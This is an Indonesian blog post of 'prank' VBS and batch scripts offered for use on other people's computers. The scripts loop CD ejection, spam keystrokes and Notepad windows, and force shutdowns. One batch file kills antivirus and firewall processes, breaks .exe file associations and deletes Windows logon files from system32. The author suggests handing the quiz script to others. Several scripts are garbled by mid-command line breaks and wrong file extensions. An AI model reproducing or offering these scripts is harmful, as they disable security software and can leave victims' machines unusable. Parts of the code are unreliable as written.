KUMPULAN SCRIPT JAHIL dengan notpad

BUKA TUTUP CD/DVD SECARA OTOMATIS:

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

==> save nama script diatas dg ekstensi *.vbs

BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS:


Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.vbs


MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS:

MsgBox "kembali ke menu
sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do    
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

==> save nama script diatas dg ekstensi *.vbs

OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD:

Set wshShell =

wscript.CreateObject

("WScript.Shell")

dowscript.sleep 100

wshshell.sendkeys "lu jelek

banget sih!!!" 

loop

==> save nama script diatas dg ekstensi *.vbs

MEMBUKA NODPAD TERUS MENERUS

@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

 ==> save nama script diatas dg ekstensi *.BAT

OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU":

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell =
WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

==> save nama script diatas dg ekstensi *.vbs

 

BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2:

@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...

POKOKNYA KALO YG INI DICOBA DULU DEH !!:

@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:\WINDOWS
\system32\logoff.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”

==> save script diatas dg ekstensi *.bat

KEYBOARD PROBLEM:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "sabotase keyboard, etc"
loop

==> save nama script diatas dg ekstensi *.bat

 

BACKSPACE PROBLEM:

MsgBox "empatujuhcode bilang : anda harus mengulang kembali"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

==> save nama script diatas dg ekstensi *.bat

ENTER AGAIN:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

==> save nama script diatas dg ekstensi *.bat

KUIS MEMBAWA PETAKA:

@echo off
title quiz hari ini 
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

==> save nama script diatas dg ekstensi *.bat

SUMBER=http://www.gururupaindonesia.com

 

Tweet

Terimakasih anda telah membaca artikel tentang KUMPULAN SCRIPT JAHIL dengan notpad. Jika ingin menduplikasi artikel ini diharapkan anda untuk mencantumkan link https://aneka-softwareku.blogspot.com/2014/02/kumpulan-script-jahil-dengan-notpad.html. Terimakasih atas perhatiannya.

Related Posts